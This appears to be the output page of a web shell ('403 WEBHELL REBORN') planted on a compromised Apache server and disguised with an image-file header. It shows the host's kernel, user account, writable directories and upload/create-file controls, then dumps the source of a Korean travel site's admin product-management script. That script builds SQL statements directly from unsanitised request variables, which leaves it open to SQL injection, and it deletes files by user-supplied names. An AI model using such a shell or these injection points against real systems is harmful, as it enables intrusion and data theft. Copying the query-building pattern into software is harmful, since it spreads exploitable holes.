ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/good/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/good/good_proc.php
<?php
include $_SERVER['DOCUMENT_ROOT'].'/admin/include/top_proc.html';
include $_SERVER['DOCUMENT_ROOT'].'/admin/good/_common.php';




$table = "good";
$upload = $cf['path']."/FileData/good/"; 
$upload_thum = $cf['path']."/FileData/good_thum/";

// 에디터용 
$g_heed				= insert_smart($g_heed);
$g_heed_mo			= insert_smart($g_heed_mo);
$g_special			= insert_smart($g_special);
$g_special_mo		= insert_smart($g_special_mo); //모바일용
$g_inclusion		= insert_smart($g_inclusion);
$g_noinclusion		= insert_smart($g_noinclusion);
$g_rule				= insert_smart($g_rule);
$g_rule_mo			= insert_smart($g_rule_mo); //모바일용
$g_cautions			= insert_smart($g_cautions);
$g_cautions_mo		= insert_smart($g_cautions_mo); //모바일용
$google_map			= insert_smart($google_map); //구글맵

// 쌍따옴표,홑따옴표 불가 체크
if($SqlType == "good_ins" or $SqlType == "good_edit") {
	if(	isCheckQuot($g_title) == true OR 
		isCheckQuot($g_sch) == true ) 
		error_msg("쌍따옴표,홑따옴표는 사용불가합니다.");
}

$seo_first_category_url = str_replace(" ","",$seo_first_category_url);
$seo_first_category_url = str_replace("+","-",$seo_first_category_url);
$seo_first_category_url = str_replace("--","-",$seo_first_category_url);

$seo_second_category_url = str_replace(" ","",$seo_second_category_url);
$seo_second_category_url = str_replace("+","-",$seo_second_category_url);
$seo_second_category_url = str_replace("--","-",$seo_second_category_url);

$seo_good_url = str_replace(" ","",$seo_good_url);
$seo_good_url = str_replace("--","-",$seo_good_url);
$seo_good_url = str_replace("+","-",$seo_good_url);

$seo_first_category_url = trim(strtolower($seo_first_category_url));
$seo_second_category_url = trim(strtolower($seo_second_category_url));
$seo_good_url = trim(strtolower($seo_good_url));




if($SqlType == "good_ins") {
	
	if (!$g_title) exit;

	// 업로드
	if($_FILES['g_image1']['name']) {
		//이미지 업로드
		$up_img1 = FileUploadName( "", $upload, $_FILES['g_image1']['tmp_name'], $_FILES['g_image1']['name'] ,"");//파일 업로드
		make_thum($upload.$up_img1,$upload_thum.$up_img1);//이미지썸네일 생성
	}

//    p($up_img1);
//    exit;



	// 국가명
	$country_arr = to_area_b("",$Bidx," and DelFlag='N' "); 
	$NationName = $country_arr[0]['NationName']; 

	 // 도시명
	$city_arr = to_area_c("",$Bidx,$Cidx,"N");
	$CityName = $city_arr[0]['CityName'];



	// 데이투어항목추가(20131029.허종)
	$day_price_nor_adult = str_replace(",","",$day_price_nor_adult);
	$day_price_nor_child = str_replace(",","",$day_price_nor_child);
	$day_price_dc_adult = str_replace(",","",$day_price_dc_adult);
	$day_price_dc_child = str_replace(",","",$day_price_dc_child);

	// 담당자
	if ($admin_id) {
		$mem_data = get_member($admin_id);
		$admin_nm = $mem_data['mb_nm'];
	}

	// 공급처
	if ($producer_id) {
		$mem_data = get_member($producer_id);
		$producer_corp_nm = $mem_data['bz_corp_nm'];
	}

	if(!$gdt) $gdt="gr";

	// 미팅장소,미팅시간
	$g_meeting = "";
	for($a=0 ; $a<count($meeting_place_arr) ; $a++) {
		$meeting_place	= $meeting_place_arr[$a];
		$meeting_hh			= $meeting_hh_arr[$a];
		$meeting_mm			= $meeting_mm_arr[$a];
		if($meeting_place_arr[$a]) {
			$g_meeting .= "||".$meeting_place."^".$meeting_hh."^".$meeting_mm;
		}
	}


    $gCode = Fnc_GetRes();

    $sql = "INSERT INTO {$table} SET tab = '{$tab}'";
    $sql .= ", gdt = '{$gdt}'";
    $sql.=" , b_uid  = '{$b_uid}'";
    $sql.=" , m_uid = '{$m_uid}'";
    $sql.=" , s_uid = '{$s_uid}' ";
    $sql.=" , Bidx = '{$Bidx}' ";
    $sql.=" , Cidx = '{$Cidx}' ";
    $sql.=" , Gidx = '{$Gidx}' ";
    $sql.=" , NationName  = '{$NationName}'";
    $sql.=" , CityName  = '{$CityName}'";
    $sql.=" , InfoTitle  = '{$InfoTitle}'";
    $sql.=" , g_no  = '{$g_no}'";
    $sql.=" , g_title  = '{$g_title}'";
    $sql.=" , g_code  = '{$gCode}'";
    $sql.=" , g_type = '{$g_type}' ";
    $sql.=" , g_api = '{$g_api}' ";
    $sql.=" , g_sch = '{$g_sch}' ";
    $sql.=" , g_image1 = '{$up_img1}' ";
    $sql.=" , g_brief = '{$g_brief}' ";
    $sql.=" , g_short_brief = '{$g_short_brief}' ";
    $sql.=" , g_explain = '{$g_explain}' ";
    $sql.=" , g_inclusion = '{$g_inclusion}' ";
    $sql.=" , g_noinclusion = '{$g_noinclusion}' ";
    $sql.=" , g_special = '{$g_special}' ";
    $sql.=" , g_rule = '{$g_rule}' ";
    $sql.=" , g_heed = '{$g_heed}' ";
    $sql.=" , g_ready = '{$g_ready}' ";
    $sql.=" , g_regdate = now() ";
    $sql.= ", g_meeting = '{$g_meeting}' ";
    $sql.=" , map_x = '{$map_x}' ";
    $sql.=" , map_y = '{$map_y}' ";
    $sql.=" , movie_i = '{$movie_i}' ";
    $sql.=" , admin_id = '{$admin_id}' ";
    $sql.=" , admin_nm = '{$admin_nm}' ";
    $sql.=" , exchange_fg = '{$exchange_fg}' ";
    $sql.=" , exid = '{$exid}' ";
    $sql.=" , g_cautions = '{$g_cautions}' ";
    $sql.=" , g_select_num = '{$g_select_num}' ";
    $sql.=" , producer_id = '{$producer_id}' ";
    $sql.=" , producer_corp_nm = '{$producer_corp_nm}' ";
    $sql.=" , ticket_code = '{$ticket_code}' ";
    $sql.=" , ticket_addr = '{$ticket_addr}' ";
    $sql.=" , ticket_exchange = '{$ticket_exchange}' ";
    $sql.=" , ticket_expiry_date = '{$ticket_expiry_date}' ";
    $sql.=" , g_viewtype = '{$g_viewtype}' ";
    $sql.=" , confirm_type = '{$confirm_type}' ";
    $sql.=" , today_reserve = '{$today_reserve}' ";
    $sql.=" , kind_code = '{$kind_code}' "; //
    $sql.=" , tour_code = '{$tour_code}' "; //
    $sql.=" , google_map = '{$google_map}' "; //
    $sql.=" , g_special_mo = '{$g_special_mo}' "; //
    $sql.=" , g_cautions_mo = '{$g_cautions_mo}' "; //
    $sql.=" , g_rule_mo = '{$g_rule_mo}' "; //
    $sql.=" , g_heed_mo = '{$g_heed_mo}' "; //
    $sql.=" , api_reserve_type = '{$api_reserve_type}' ";
    $sql.=" , api_coupang_product_id = '{$api_coupang_product_id}' ";
    $sql.=" , api_coupang_travel_id = '{$api_coupang_travel_id}' ";
    $sql.=" , api_yanolja_product_id = '{$api_yanolja_product_id}' ";
    $sql.=" , seo_keyword = '{$seo_keyword}' ";
    $sql.=" , seo_desc = '{$seo_desc}' ";
    $sql.=" , seo_contents_text = '{$seo_contents_text}' ";

    $sql.=" , seo_first_category_url = '{$seo_first_category_url}' ";
    $sql.=" , seo_second_category_url = '{$seo_second_category_url}' ";
    $sql.=" , seo_good_url = '{$seo_good_url}' ";

    $sql.=" , product_info_label_1 = '{$product_info_label_1}'";
    $sql.=" , product_info_label_2 = '{$product_info_label_2}'";
    $sql.=" , product_info_label_3 = '{$product_info_label_3}'";
    $sql.=" , product_info_label_4 = '{$product_info_label_4}'";
    $sql.=" , product_info_label_5 = '{$product_info_label_5}'";
    $sql.=" , product_info_label_6 = '{$product_info_label_6}'";

    $sql.=" , product_info_value_1 = '{$product_info_value_1}'";
    $sql.=" , product_info_value_2 = '{$product_info_value_2}'";
    $sql.=" , product_info_value_3 = '{$product_info_value_3}'";
    $sql.=" , product_info_value_4 = '{$product_info_value_4}'";
    $sql.=" , product_info_value_5 = '{$product_info_value_5}'";
    $sql.=" , product_info_value_6 = '{$product_info_value_6}'";



    $sql.=" , extension_contents = '{$extension_contents}' ";
    $sql.=" , good_lang = '{$good_lang}' ";



    /*echo $sql;
    exit;








	$sql = "insert into ".$table." ( ";
	$sql.=" tab";
	$sql.=" , gdt ";
	$sql.=" , b_uid ";
	$sql.=" , m_uid ";
	$sql.=" , s_uid ";
	$sql.=" , Bidx ";
	$sql.=" , Cidx ";
	$sql.=" , Gidx ";
	$sql.=" , NationName ";
	$sql.=" , CityName ";
	$sql.=" , InfoTitle ";
    $sql.=" , g_no ";
	$sql.=" , g_title ";
	$sql.=" , g_code ";
	$sql.=" , g_type ";
	$sql.=" , g_api ";
	$sql.=" , g_sch ";
	#$sql.=" , g_vno ";
	#$sql.=" , g_low ";
	#$sql.=" , g_high ";
	$sql.=" , g_image1 ";
	#$sql.=" , g_image2 ";
	$sql.=" , g_brief ";
	$sql.=" , g_short_brief ";
	$sql.=" , g_explain ";
	$sql.=" , g_inclusion ";
	$sql.=" , g_noinclusion ";
	$sql.=" , g_special ";
	$sql.=" , g_rule ";
	$sql.=" , g_heed ";
	$sql.=" , g_ready ";
	$sql.=" , g_regdate ";
	$sql.= ", g_meeting ";

//    $sql.= ", g_stock_type ";



	$sql.=" , map_x ";
	$sql.=" , map_y ";
	$sql.=" , movie_i ";
	$sql.=" , admin_id ";
	$sql.=" , admin_nm ";
	$sql.=" , exchange_fg ";
	$sql.=" , exid ";
	$sql.=" , g_cautions ";
	$sql.=" , g_select_num ";
	$sql.=" , producer_id ";
	$sql.=" , producer_corp_nm ";
	$sql.=" , ticket_code ";
	$sql.=" , ticket_addr ";
	$sql.=" , ticket_exchange ";
	$sql.=" , ticket_expiry_date ";
	$sql.=" , g_viewtype ";
	$sql.=" , confirm_type ";
	$sql.=" , today_reserve ";
	$sql.=" , kind_code "; //
	$sql.=" , tour_code "; //
	$sql.=" , google_map "; //
	$sql.=" , g_special_mo "; //
	$sql.=" , g_cautions_mo "; //
	$sql.=" , g_rule_mo "; //
	$sql.=" , g_heed_mo "; //
	$sql.=" , api_reserve_type ";
	$sql.=" , api_coupang_product_id ";
	$sql.=" , api_coupang_travel_id ";
	$sql.=" , api_yanolja_product_id ";
	$sql.=" , seo_keyword ";
	$sql.=" , seo_desc ";
	$sql.=" , seo_contents_text ";

	$sql.=" , seo_first_category_url ";
	$sql.=" , seo_second_category_url ";
	$sql.=" , seo_good_url ";

    $sql.=" , product_info_label_1 ";
    $sql.=" , product_info_label_2 ";
    $sql.=" , product_info_label_3 ";
    $sql.=" , product_info_label_4 ";
    $sql.=" , product_info_label_5 ";
    $sql.=" , product_info_label_6 ";
    $sql.=" , extension_contents ";


	$sql.=" ) values ( ";
	$sql.=" '".$tab."' ";
	$sql.=" ,'".$gdt."' ";
	$sql.=" ,'".$b_uid."' ";
	$sql.=" , '".$m_uid."' ";
	$sql.=" , '".$s_uid."' ";
	$sql.=" , '".$Bidx."' ";
	$sql.=" , '".$Cidx."' ";
	$sql.=" , '".$Gidx."' ";
	$sql.=" , '".$NationName."' ";
	$sql.=" , '".$CityName."' ";
	$sql.=" , '".$InfoTitle."' ";
    $sql.=" , '".$g_no."' ";
	$sql.=" , '".$g_title."' ";
	$sql.=" , '".Fnc_GetRes()."' ";
	$sql.=" , '".$g_type_str."' ";
	$sql.=" , '".$g_api_str."' ";
	$sql.=" , '".$g_sch."' ";
	#$sql.=" , '".$g_vno."' ";
	#$sql.=" , '".$g_low."' ";
	#$sql.=" , '".$g_high."' ";
	$sql.=" , '".$up_img1."' ";
	#$sql.=" , '".$ReturnFile2."' ";
	$sql.=" , '".$g_brief."' ";
	$sql.=" , '".$g_short_brief."' ";


	$sql.=" , '".$g_explain."' ";
	$sql.=" , '".$g_inclusion."' ";
	$sql.=" , '".$g_noinclusion."' ";
	$sql.=" , '".$g_special."' ";
	$sql.=" , '".$g_rule."' ";
	$sql.=" , '".$g_heed."' ";
	$sql.=" , '".$g_ready."' ";
	$sql.=" , now()  ";
	$sql.=" , '".$g_meeting."' ";

//    $sql.=" , '".$g_stock_type."' ";

    $sql.=" , '".$map_x."' ";
	$sql.=" , '".$map_y."' ";
	$sql.=" , '".$movie_i."' ";
	$sql.=" , '".$admin_id."' ";
	$sql.=" , '".$admin_nm."' ";
	$sql.=" , '".$exchange_fg."' ";
	$sql.=" , '".$exid."' ";
	$sql.=" , '".$g_cautions."' ";
	$sql.=" , '".$g_select_num."' ";
	$sql.=" , '".$producer_id."' ";
	$sql.=" , '".$producer_corp_nm."' ";
	$sql.=" , '".$ticket_code."' ";
	$sql.=" , '".$ticket_addr."' ";
	$sql.=" , '".$ticket_exchange."' ";
	$sql.=" , '".$ticket_expiry_date."' ";
	$sql.=" , '".$g_viewtype."' ";
	$sql.=" , '".$confirm_type."' "; // 확정방식
	$sql.=" , '".$today_reserve."' "; // 당일예약가능여부
	$sql.=" , '".$kind_code."' "; //투어종류
	$sql.=" , '".$tour_code."' "; //투어코드
	$sql.=" , '".$google_map."' "; //구글맵
	$sql.=" , '".$g_special_mo."' "; //모바일용
	$sql.=" , '".$g_cautions_mo."' "; //모바일용
	$sql.=" , '".$g_rule_mo."' "; //모바일용
	$sql.=" , '".$g_heed_mo."' "; //모바일용
	$sql.=" , '".$api_reserve_type."' "; // API 예약 방식
	$sql.=" , '".$api_coupang_product_id."' "; // 쿠팡 API 상품코드
	$sql.=" , '".$api_coupang_travel_id."' "; // 쿠팡 API 상품코드
	$sql.=" , '".$api_yanolja_product_id."' "; // 야놀자 API 상품코드

	$sql.=" , '".$seo_keyword."' "; // SEO 키워드
	$sql.=" , '".$seo_desc."' "; // SEO 설명
	$sql.=" , '".$seo_contents_text."' "; // SEO 설명


	$sql.=" , '".strtolower($seo_first_category_url)."' "; // SEO 설명
	$sql.=" , '".strtolower($seo_second_category_url)."' "; // SEO 설명
	$sql.=" , '".strtolower($seo_good_url)."' "; // SEO 설명

    $sql.=" , '".$product_info_value_1."' "; // 상품정보 값
    $sql.=" , '".$product_info_value_2."' "; // 상품정보 값
    $sql.=" , '".$product_info_value_3."' "; // 상품정보 값
    $sql.=" , '".$product_info_value_4."' "; // 상품정보 값
    $sql.=" , '".$product_info_value_5."' "; // 상품정보 값
    $sql.=" , '".$product_info_value_6."' "; // 상품정보 값

    $sql.=" , '".$extension_contents."' "; // 추가입력사항


	$sql.=" ) ";

    echo $sql;*/

	db_query($sql);

//    echo 'completed';
	error_msg("document.location='index.html?{$_href}'","script");

// 상품노출 변경
}elseif($SqlType == "good_edit"){

	if (!$g_uid) exit;

	// 상품정보
	$arr = good_list(" and g_uid='{$g_uid}' "); 
	$row = $arr[0];
	
	//업로드 파일이 있으면 기존 파일 삭제
	if($_FILES['g_image1']['name']) {
		@unlink($upload.$row['g_image1']);
		@unlink($upload_thum.$row['g_image1']);

		//이미지 업로드
		$up_img1 = @FileUploadName( "", $upload, $_FILES['g_image1']['tmp_name'], $_FILES['g_image1']['name'] ,"");//파일 업로드
		make_thum($upload.$up_img1,$upload_thum.$up_img1);//이미지썸네일 생성
	}



		//b2b 파일
		$uploadB2bPdf = $cf['path']."/FileData/b2b/good/";

		if($_FILES['b2b_pdf_ko']['name']) {
			@unlink($uploadB2bPdf.$row['b2b_pdf_ko']);
			@unlink($uploadB2bPdf.$row['b2b_pdf_ko']);

			//이미지 업로드
			$b2b_pdf_ko = @FileUploadName( "", $uploadB2bPdf, $_FILES['b2b_pdf_ko']['tmp_name'], $_FILES['b2b_pdf_ko']['name'] ,"");//파일 업로드
		}

		if($_FILES['b2b_pdf_en']['name']) {
			@unlink($uploadB2bPdf.$row['b2b_pdf_en']);
			@unlink($uploadB2bPdf.$row['b2b_pdf_en']);

			//이미지 업로드
			$b2b_pdf_en = @FileUploadName( "", $uploadB2bPdf, $_FILES['b2b_pdf_en']['tmp_name'], $_FILES['b2b_pdf_en']['name'] ,"");//파일 업로드
		}

		if($_FILES['b2b_pdf_tw']['name']) {
			@unlink($uploadB2bPdf.$row['b2b_pdf_tw']);
			@unlink($uploadB2bPdf.$row['b2b_pdf_tw']);

			//이미지 업로드
			$b2b_pdf_tw = @FileUploadName( "", $uploadB2bPdf, $_FILES['b2b_pdf_tw']['tmp_name'], $_FILES['b2b_pdf_tw']['name'] ,"");//파일 업로드
		}

		if($_FILES['b2b_pdf_hk']['name']) {
			@unlink($uploadB2bPdf.$row['b2b_pdf_hk']);
			@unlink($uploadB2bPdf.$row['b2b_pdf_hk']);

			//이미지 업로드
			$b2b_pdf_hk = @FileUploadName( "", $uploadB2bPdf, $_FILES['b2b_pdf_hk']['tmp_name'], $_FILES['b2b_pdf_hk']['name'] ,"");//파일 업로드
		}

		if($_FILES['b2b_pdf_cn']['name']) {
			@unlink($uploadB2bPdf.$row['b2b_pdf_cn']);
			@unlink($uploadB2bPdf.$row['b2b_pdf_cn']);

			//이미지 업로드
			$b2b_pdf_cn = @FileUploadName( "", $uploadB2bPdf, $_FILES['b2b_pdf_cn']['tmp_name'], $_FILES['b2b_pdf_cn']['name'] ,"");//파일 업로드
		}















	// 상품특징아이콘
	$g_type_str = "";
	for($i=0,$j=1 ; $i<count($g_type_arr) ; $i++,$j++){
		$g_type_str .= $g_type_arr[$i];
		if ($j < count($g_type_arr)) $g_type_str .= ",";
	}

	// 외부연동아이콘
	$g_api_str = "";
	for($i=0,$j=1 ; $i<count($g_api_arr) ; $i++,$j++){
		$g_api_str .= $g_api_arr[$i];
		if ($j < count($g_api_arr)) $g_api_str .= ",";
	}

	// 데이투어항목추가(20131029.허종)
	$day_price_nor_adult = str_replace(",","",$day_price_nor_adult);
	$day_price_nor_child = str_replace(",","",$day_price_nor_child);
	$day_price_dc_adult = str_replace(",","",$day_price_dc_adult);
	$day_price_dc_child = str_replace(",","",$day_price_dc_child);

	// 미팅장소,미팅시간
	$g_meeting = "";
	for($a=0 ; $a<count($meeting_place_arr) ; $a++) {
		$meeting_place	= $meeting_place_arr[$a];
		$meeting_hh			= $meeting_hh_arr[$a];
		$meeting_mm			= $meeting_mm_arr[$a];
		if($meeting_place_arr[$a]) {
			$g_meeting .= "||".$meeting_place."^".$meeting_hh."^".$meeting_mm;
		}
	}

	// 담당자
	if ($admin_id) {
		$mem_data = get_member($admin_id);
		$admin_nm = $mem_data['mb_nm'];
	}

	// 국가명
	$country_arr = to_area_b("",$Bidx," and DelFlag='N' "); 
	$NationName = $country_arr[0]['NationName']; 

	 // 도시명
	$city_arr = to_area_c("",$Bidx,$Cidx,"N");
	$CityName = $city_arr[0]['CityName'];

	// 공급처
	if ($producer_id) {
		$mem_data = get_member($producer_id);
		$producer_corp_nm = $mem_data['bz_corp_nm'];
	}


	//관련상품
	for($i=1;$i<6;$i++) {
		$idx = ${"idx".$i};
		$b_uid_r = ${"b_uid".$i};
		$data_bc_r = TO_get_bc($b_uid_r,"N","");
		$tab_r = $data_bc_r[0]['tab'];	//tab

		$m_uid_r = ${"m_uid".$i};
		$s_uid_r = ${"s_uid".$i};

		$r_uid = ${"g_uid".$i};

		$ordernum = ${"related_ordernum_arr".$i};

		if($b_uid_r) {
			if($idx) {
				$sql= " UPDATE TB_GOOD_RELATED SET ";
				$sql.="	 tab='".$tab_r."' ";
				$sql.="	 ,b_uid='".$b_uid_r."' ";
				$sql.="	,m_uid='".$m_uid_r."' ";
				$sql.="	,s_uid='".$s_uid_r."' ";
				$sql.="	,r_uid='".$r_uid."' ";
				$sql.="	,ordernum='".$ordernum."' ";
				$sql.=" WHERE idx='".$idx."' ";

			} else {
				$sql = "insert into TB_GOOD_RELATED ( ";
				$sql.=" tab ";
				$sql.=" , g_uid ";
				$sql.=" , b_uid ";
				$sql.=" , m_uid ";
				$sql.=" , s_uid ";
				$sql.=" , r_uid ";
				$sql.=" , ordernum ";

				$sql.=" ) values ( ";
				$sql.=" '".$tab_r."' ";
				$sql.=" ,'".$g_uid."' ";
				$sql.=" ,'".$b_uid_r."' ";
				$sql.=" , '".$m_uid_r."' ";
				$sql.=" , '".$s_uid_r."' ";
				$sql.=" , '".$r_uid."' ";
				$sql.=" , '".$ordernum."' ";

				$sql.=" ) ";

			}
			db_query($sql);
		}
	}

	$sql= " UPDATE ".$table." SET ";
	$sql.="	 b_uid='".$b_uid."' ";
	$sql.="	,m_uid='".$m_uid."' ";
	$sql.="	,s_uid='".$s_uid."' ";
	$sql.="	,tab='".$tab."' ";
	$sql.="	,Bidx='".$Bidx."' ";
	$sql.="	,Cidx='".$Cidx."' ";
	$sql.=" ,pseq='".$pseq."' ";
	$sql.=" ,NationName='".$NationName."' ";
	$sql.=" ,CityName='".$CityName."' ";
	$sql.=" ,InfoTitle='".$InfoTitle."' ";
	$sql.=" ,g_title='".$g_title."' ";
    $sql.=" ,g_no='".$g_no."' ";
	$sql.=" ,g_code='".$g_code."' ";
	$sql.=" ,g_type='".$g_type_str."' ";
	$sql.=" ,g_api='".$g_api_str."' ";
	$sql.=" ,gdt='".$gdt."' ";
	//$sql.=" ,g_vno='".$g_vno."' ";
	$sql.=" ,g_sch='".$g_sch."' ";
	//$sql.=" ,g_low='".$g_low."' ";
	//$sql.=" ,g_high='".$g_high."' ";
	if($up_img1) $sql.=" ,g_image1='".$up_img1."' ";

	if($b2b_pdf_ko) $sql .= " , b2b_pdf_ko = '".$b2b_pdf_ko."' ";
	if($b2b_pdf_en) $sql .= " , b2b_pdf_en = '".$b2b_pdf_en."' ";
	if($b2b_pdf_tw) $sql .= " , b2b_pdf_tw = '".$b2b_pdf_tw."' ";
	if($b2b_pdf_hk) $sql .= " , b2b_pdf_hk = '".$b2b_pdf_hk."' ";
	if($b2b_pdf_cn) $sql .= " , b2b_pdf_cn = '".$b2b_pdf_cn."' ";


	//$sql.=" ,g_image2='".$ReturnFile2."' ";
	$sql.=" ,g_brief='".$g_brief."' ";

	$sql.=" ,g_short_brief='".$g_short_brief."' ";

	$sql.=" ,g_explain='".$g_explain."' ";
	$sql.=" ,g_inclusion='".$g_inclusion."' ";
	$sql.=" ,g_noinclusion='".$g_noinclusion."' ";
	$sql.=" ,g_special='".$g_special."' ";
	$sql.=" ,g_rule='".$g_rule."' ";
	$sql.=" ,g_heed='".$g_heed."' ";
	$sql.=" ,g_ready='".$g_ready."' ";
	$sql.=" ,g_meeting='".$g_meeting."' ";
//	$sql.=" ,g_stock_type='".$g_stock_type."' ";


	//$sql.=" ,map_x='".$map_x."' ";
	//$sql.=" ,map_y='".$map_y."' ";
	$sql.=" ,movie_i='".$movie_i."' ";

	$sql.=" ,admin_id='".$admin_id."' ";
	$sql.=" ,admin_nm='".$admin_nm."' ";

	$sql.=" ,g_cautions='".$g_cautions."' ";
	$sql.=" ,g_select_num='".$g_select_num."' ";
	$sql.=" ,producer_id='".$producer_id."' ";
	$sql.=" ,producer_corp_nm='".$producer_corp_nm."' ";

	$sql.=" ,ticket_code='".$ticket_code."' ";
	$sql.=" ,ticket_addr='".$ticket_addr."' ";
	$sql.=" ,ticket_exchange='".$ticket_exchange."' ";
	$sql.=" ,ticket_expiry_date='".$ticket_expiry_date."' ";
	$sql.=" ,g_viewtype='".$g_viewtype."' ";

	$sql.=" ,confirm_type='".$confirm_type."' "; //확정방식
	$sql.=" ,today_reserve='".$today_reserve."' "; //당일예약가능여부

    $today_reserve_time = (int) $today_reserve_time;
    $sql.=" ,today_reserve_time='".$today_reserve_time."' "; //예약 불가 전 시간

	$sql.=" ,g_moddate=now() ";
	$sql.=" ,kind_code='".$kind_code."' "; //투어종류
	$sql.=" ,tour_code='".$tour_code."' "; //투어코드
	$sql.=" ,google_map='".$google_map."' "; //구글맵
	$sql.=" ,g_special_mo='".$g_special_mo."' "; //모바일용
	$sql.=" ,g_cautions_mo='".$g_cautions_mo."' "; //모바일용
	$sql.=" ,g_rule_mo='".$g_rule_mo."' "; //모바일용
	$sql.=" ,g_heed_mo='".$g_heed_mo."' "; //모바일용
	$sql.=" ,purchase_cnt='".$purchase_cnt."' "; //구매건수

	$sql.=" ,seo_keyword='".$seo_keyword."' "; //seo 키워드
	$sql.=" ,seo_desc='".$seo_desc."' "; //seo 설명
	$sql.=" ,seo_contents_text='".$seo_contents_text."' "; //seo 컨텐츠 텍스트

	$sql.=" ,tour_division='".$tour_division."' "; //투어 분류
	$sql.=" ,tour_exists_guide='".$tour_exists_guide."' "; //가이드 유무

	$sql.=" ,seo_first_category_url='".strtolower($seo_first_category_url)."' "; //seo 1차 카테고리
	$sql.=" ,seo_second_category_url='".strtolower($seo_second_category_url)."' "; //seo 1차 카테고리
	$sql.=" ,seo_good_url='".strtolower($seo_good_url)."' "; //seo 상품명



//    if(devCookie()){
        $sql.=" ,benepia_region_cd='".$benepia_region_cd."' "; // 상품 지역
        $sql.=" ,benepiaTelNo='".$benepiaTelNo."' "; // 상품 연락처
        $sql.=" ,benepiaZipCd='".$benepiaZipCd."' "; // 여행지 우편번호
        $sql.=" ,benepiaAddress='".$benepiaAddress."' "; // 여행지 주소
        $sql.=" ,benepiaDetailAddress='".$benepiaDetailAddress."' "; // 여행지 상세주소
        $sql.=" ,benepiaGoodUrl='".$benepiaGoodUrl."' "; // 여행지 홈페이지
//    }


    $sql.=" , product_info_label_1 = '{$product_info_label_1}'";
    $sql.=" , product_info_label_2 = '{$product_info_label_2}'";
    $sql.=" , product_info_label_3 = '{$product_info_label_3}'";
    $sql.=" , product_info_label_4 = '{$product_info_label_4}'";
    $sql.=" , product_info_label_5 = '{$product_info_label_5}'";
    $sql.=" , product_info_label_6 = '{$product_info_label_6}'";

    $sql.=" , product_info_value_1 = '{$product_info_value_1}'";
    $sql.=" , product_info_value_2 = '{$product_info_value_2}'";
    $sql.=" , product_info_value_3 = '{$product_info_value_3}'";
    $sql.=" , product_info_value_4 = '{$product_info_value_4}'";
    $sql.=" , product_info_value_5 = '{$product_info_value_5}'";
    $sql.=" , product_info_value_6 = '{$product_info_value_6}'";

    $sql.=" , extension_contents = '{$extension_contents}'";
//    $sql.=" , good_lang = '{$good_lang}'";

    $gMainView = 'N';

    if($_POST['g_main_view'] == 'on'){
        $gMainView = 'Y';
    }

    $sql.=" , g_main_view = '{$gMainView}'";

	$sql.=" WHERE g_uid='".$g_uid."' ";

//	if(devCookie()){
//		p($sql);
//		exit;
//	}

	db_query($sql);
//    echo "completed";
	error_msg("document.location='good_edit.html?tab={$tab}&{$_href}&g_uid={$g_uid}'","script");











// 상품노출 변경
}elseif ($SqlType == "chgdisp") {
	if(!$g_uid) exit;

	$sql = "update {$table} set g_ok='{$g_ok}' where g_uid='{$g_uid}' ";

	db_query($sql);

	$data = good_list(" and g_uid='{$g_uid}' ");
	$row = $data[0];

	echo "<img src=\"{$row[use_img]}\" onClick=\"ajax_obj_loader('good_proc.php?SqlType=chgdisp&g_uid={$row[g_uid]}&g_ok={$row[g_ok_opp]}','disp_yn_{$row[g_uid]}');\" />";
	exit;
//관광(지)정보 순서변경
}else if($SqlType=="change_ordernum"){
	
	for($i=0 ; $i < count($g_uid_arr) ; $i++){
		$sql = "update {$table} set g_no='{$g_no_arr[$i]}' where g_uid='$g_uid_arr[$i]'";
		db_query($sql);
	}

	error_msg("document.location.reload()","script");


}else if($SqlType == "chgrecomm"){
	
	if(!$g_uid)exit;

	$data = good_list(" and g_uid='{$g_uid}' ");
	$row = $data[0];

	// 현상태에서 반대로 만들기
	$gmain_opp = "";
	if($row[$gmain] != "1") $gmain_opp = 1;
	
	$sql = "update {$table} set {$gmain} = '{$gmain_opp}' where g_uid='{$g_uid}' ";
	
	db_query($sql);

	exit;

//호텔이미지 수정
}else if($SqlType=="gallery_edit"){
	if(!is_array($chkall))exit;
	
	for($i=0 ; $i<count($chkall) ; $i++){
		$iDX = $chkall[$i];
		$ImgMemo = ${"ImgMemo_".$chkall[$i]};
		$ImgType = ${"ImgType_".$chkall[$i]};
		$OrderNum = intval(${"ordernum_".$chkall[$i]});
			
		$sql = "update TB_GoodImg set ImgType='{$ImgType}', ImgMemo='{$ImgMemo}',OrderNum='{$OrderNum}' where iDX='{$iDX}'";
		
		db_query($sql);
	}

	error_msg("document.location.reload()","script");

	// 갤러리 이미지 삭제
}elseif($SqlType=="gallery_delete"){
	if(!is_array($chkall))exit;
	$upload = "../../FileData/good_img/";
	$upload_thum = "../../FileData/good_img_thum/";

	for($i=0 ; $i<count($chkall) ; $i++){
		$iDX = $chkall[$i];
		$img = ${"img_".$chkall[$i]};
		
		//해당이미지삭제
		@unlink($upload.$img);
		@unlink($upload_thum.$img);

		$sql = "delete from TB_GoodImg where iDX='{$iDX}'";
		db_query($sql);
	}
	error_msg("document.location.reload()","script");

// 상품 삭제
}elseif($SqlType=="delete_good"){
	
	if(!$g_uid) exit;

	$upload = "../../FileData/good_img/";
	$upload_thum = "../../FileData/good_img_thum/";

	// 출발일(date) 
	$sql = "delete from date where g_uid='{$g_uid}' ";
	db_query($sql);

	// 선택호텔(TB_SelHotel) 
	$sql = "delete from TB_SelHotel where g_uid='{$g_uid}' ";
	db_query($sql);

	// 기본 일정표(TB_Schedule)
	$sql = "delete from TB_Schedule where g_uid='{$g_uid}' ";
	db_query($sql);

	// 선택여행정보(TB_SelInfo)
	$sql = "delete from TB_SelInfo where g_uid='{$g_uid}' ";
	db_query($sql);


	// 갤러리(TB_GoodImg) and 이미지
	$gallery_arr = TO_get_good_photo($g_uid);
	for($i=0 ; $i<count($gallery_arr) ; $i++){
		$arr = $gallery_arr[$i];
		@unlink($upload.$arr['ImgTitle']); // 이미지 삭제
		@unlink($upload_thum.$arr['ImgTitle']); // 썸네일이미지 삭제
	}
	$sql = "delete from TB_GoodImg where Gidx='{$g_uid}' ";
	db_query($sql);

	// 상품(good) and 이미지
	$img_arr = db_fetch("select g_image1 from good where g_uid='{$g_uid}' ");
